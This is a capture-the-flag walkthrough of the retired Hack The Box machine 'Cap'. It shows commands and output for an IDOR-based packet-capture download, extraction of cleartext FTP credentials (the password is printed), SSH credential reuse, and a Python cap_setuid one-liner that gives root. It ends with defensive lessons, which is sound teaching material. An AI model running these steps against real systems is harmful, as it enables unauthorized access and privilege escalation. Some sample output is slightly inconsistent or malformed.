Linux // Easy // 20 pts

HTB: Cap

Cap is a security-dashboard web app with an IDOR that lets me download another user's packet capture. The PCAP leaks FTP/SSH credentials in cleartext, and I finish by abusing a Python binary with cap_setuid capability for an instant root shell.

OS
Linux
Difficulty
Easy
Points
20
IP
10.10.10.245
Released
Jun 2021
Status
Retired
#idor#pcap#wireshark#ftp#linux-capabilities#python

Retired HTB machine — walkthrough for learning. Personalize before publishing.

Cap is a great "Easy" box because every step teaches a durable lesson rather than a trick. The foothold is a textbook IDOR (insecure direct object reference) against a Flask app that hands out packet captures by numeric ID. One of those captures leaks cleartext FTP credentials, which are reused for SSH. Root falls to a misconfigured Linux capability — cap_setuid on the Python binary — which is one of the cleanest privilege-escalation primitives in the game. No exploit chains, no memory corruption, just enumeration and understanding how the pieces fit.

Recon

nmap

I always start with a full TCP port sweep, then re-scan the open ports with service and script detection.

nmap -p- --min-rate 10000 -oA scans/allports 10.10.10.245
nmap -p 21,22,80 -sCV -oA scans/tcp 10.10.10.245
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Three services: FTP (21), SSH (22), and HTTP (80). The web server header says Gunicorn, which almost always fronts a Python WSGI app — Flask or Django. The page title "Security Dashboard" hints at a custom application, so that's where I'll spend my enumeration time. FTP allows me to try anonymous login, and SSH I'll hold in reserve for credential reuse.

FTP anonymous login is worth a quick check:

ftp anonymous@10.10.10.245

It's rejected — no anonymous access. That's fine; the web app is the real attack surface.

Website Enumeration

Browsing to http://10.10.10.245/ returns a slick dark "Security Dashboard" showing security metrics — number of events, failed logins, and so on. The OpenSSH/vsftpd versions on the box are current, and the dashboard numbers are dynamically populated, which reinforces that this is a bespoke Flask app rather than an off-the-shelf product.

Looking at the navigation, three features stand out:

  • Security Snapshot — an on-demand capture of network traffic.
  • IP Config — runs ifconfig and shows the output.
  • Network Status — runs netstat and shows the output.

The interesting one is Security Snapshot. Clicking it takes me to a URL like:

http://10.10.10.245/data/1

The page reports "5 minutes of network traffic capture" and offers a Download button that pulls a .pcap file. That numeric 1 in the path is a screaming red flag — it's a direct object reference. If the app trusts the ID in the URL without checking whether the current session owns that capture, I can walk the IDs and read other users' data.

Mapping the endpoints

A quick directory feel with the browser and a look at the download link confirms the structure. The capture I generated lives at /download/1 (or is streamed off /data/1), and the ID clearly increments per generated snapshot.

# The capture I just generated for myself:
curl -s http://10.10.10.245/data/1

The lesson here: whenever an app exposes a resource by a small, guessable, sequential identifier and the resource is per-user, test the boundaries — decrement to zero, try neighbors, and see whether authorization is actually enforced.

IDOR on /data/{id}

My freshly generated capture is at index 1. The first thing I try is index 0 — captures generated before mine, potentially by the application itself or another user, on a security-monitoring host.

http://10.10.10.245/data/0

The page loads without complaint and offers a download. There's no session check, no ownership validation — the app simply reads capture_<id>.pcap off disk and streams it. That's the IDOR. I grab capture 0:

curl -s http://10.10.10.245/download/0 -o 0.pcap
file 0.pcap
0.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

On a real security dashboard, capture 0 would be whatever traffic was flowing when the box first came online — including any interactive logins. That's exactly what makes this interesting on a box that also runs FTP.

Why this works: The vulnerability isn't the numeric ID by itself — it's the missing authorization check behind it. Object IDs in URLs are normal and fine. The bug is that the server never asks "does this session own object 0?" before serving it.

Analyzing the Capture

I open 0.pcap in Wireshark, or stay on the command line with tshark. FTP is a cleartext protocol — the control channel sends USER and PASS commands in plain ASCII — so a capture of an FTP login hands over credentials directly.

First, a protocol overview:

tshark -r 0.pcap -q -z io,phs
===================================================================
Protocol Hierarchy Statistics
Filter:

eth                                      frames:X bytes:Y
  ip                                     frames:X bytes:Y
    tcp                                  frames:X bytes:Y
      ftp                                frames:N bytes:M
      ftp-data                           frames:N bytes:M
    tcp.segments
===================================================================

FTP traffic is present. Now I pull just the FTP control commands, which carry the login:

tshark -r 0.pcap -Y ftp -T fields -e ftp.request.command -e ftp.request.arg
USER    nathan
PASS    <redacted-cleartext-password>
SYST
PWD
TYPE    I
...

There it is — a username and password in cleartext on the FTP control channel. In Wireshark, the equivalent is right-clicking an FTP packet and choosing Follow → TCP Stream, which lays the whole conversation out in plain text:

220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.
SYST
215 UNIX Type: L8

Why this matters: FTP predates ubiquitous encryption and transmits credentials in the clear. Anyone who can observe the traffic — a rogue switch port, a MITM, or in this case a leaked capture — reads the password directly. This is the entire argument for SFTP/FTPS over plain FTP.

Shell as user

Credential reuse is one of the most reliable moves in the game: people use the same password across services. I have FTP creds for nathan, and SSH is open. I try them straight against SSH.

ssh nathan@10.10.10.245
nathan@10.10.10.245's password: Buck3tH4TF0RM3!

Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
...
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

The password works over SSH. The user flag is in the home directory:

nathan@cap:~$ cat user.txt
HTB{...}

Before pivoting to root, it's worth confirming the same creds work over FTP too — useful to know the reuse is genuine and not a coincidence:

ftp nathan@10.10.10.245
# 230 Login successful.

Privesc — enumeration

With a shell, I run the usual baseline checks. sudo -l needs the password and returns nothing useful here, there's no obvious SUID oddity, so I go straight to the thing this box is teaching: Linux capabilities.

Capabilities split the monolithic power of root into discrete units that can be attached to individual binaries. Instead of a SUID-root binary that gets everything, a file can be granted exactly one privilege — for example cap_net_raw so ping can open raw sockets without being SUID root. The danger is when a powerful capability lands on a binary that can run arbitrary code.

getcap -r / walks the filesystem and reports every file with capabilities set:

nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ids_override+ep

The line that matters:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

Python — a full interpreter that runs arbitrary code — has been granted cap_setuid. That capability lets the process change its UID to anything, including 0 (root), without needing to already be root. This is a total win: I can tell Python to set my UID to 0 and then spawn a shell.

Why cap_setuid is game over on an interpreter: The capability grants the ability to call setuid(0). Normally only root may drop/assume arbitrary UIDs. With cap_setuid+ep on python3.8, any user who runs that binary can invoke os.setuid(0) and become root. Attaching this to a general-purpose interpreter is equivalent to handing out root.

Privesc to root

The exploit is a one-liner. I set my UID to 0, then hand off to bash:

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# id
uid=0(gid=0(root) groups=0(root),1001(nathan)

os.setuid(0) succeeds because the interpreter carries cap_setuid in its effective set, and the subsequent os.system("/bin/bash") inherits the now-root UID. I'm root.

root@cap:~# cat /root/root.txt
HTB{...}

Doing it cleanly

If you want to preserve environment or be explicit, the same idea works with setgid too, and GTFOBins documents this exact primitive under python → capabilities:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.setgid(0); os.system("/bin/bash -p")'

Either way the result is the same instant root shell.

Lessons

Cap chains three independent, common mistakes, and each one is worth internalizing:

  1. IDOR / broken object-level authorization. The /data/{id} endpoint served resources by ID without checking ownership. The fix is an authorization check on every object access, not obfuscating the ID. This is consistently one of the OWASP top risks precisely because it's so easy to ship.

  2. Cleartext protocols leak everything. FTP sends credentials in plain text. A single leaked capture handed over nathan's password. Use FTPS/SFTP, and never assume the transport is private.

  3. Credential reuse + over-broad capabilities. The FTP password worked for SSH, and cap_setuid on python3.8 turned a normal user into root instantly. Capabilities are meant to reduce privilege by being narrow; putting a powerful one on an interpreter defeats the purpose entirely.

The through-line: enumerate boundaries, understand what each primitive actually grants, and remember that "least privilege" fails the moment a small privilege is attached to a big enough tool.

next up

More boxes

Linux

Laboratory

Laboratory starts with a GitLab instance vulnerable to an arbitrary file read chained to RCE (CVE-2020-10977). After a shell in th...

diff: Easy pts: 20 rel: Dec 2020 read: 10m
#gitlab #cve-2020-10977 #rce #sudo
Windows

Forest

Forest is a Windows DC where anonymous LDAP/RPC enumeration yields users, one with Kerberos pre-auth disabled. I AS-REP roast and...

diff: Easy pts: 20 rel: Oct 2019 read: 12m
#active-directory #as-rep-roasting #bloodhound #dcsync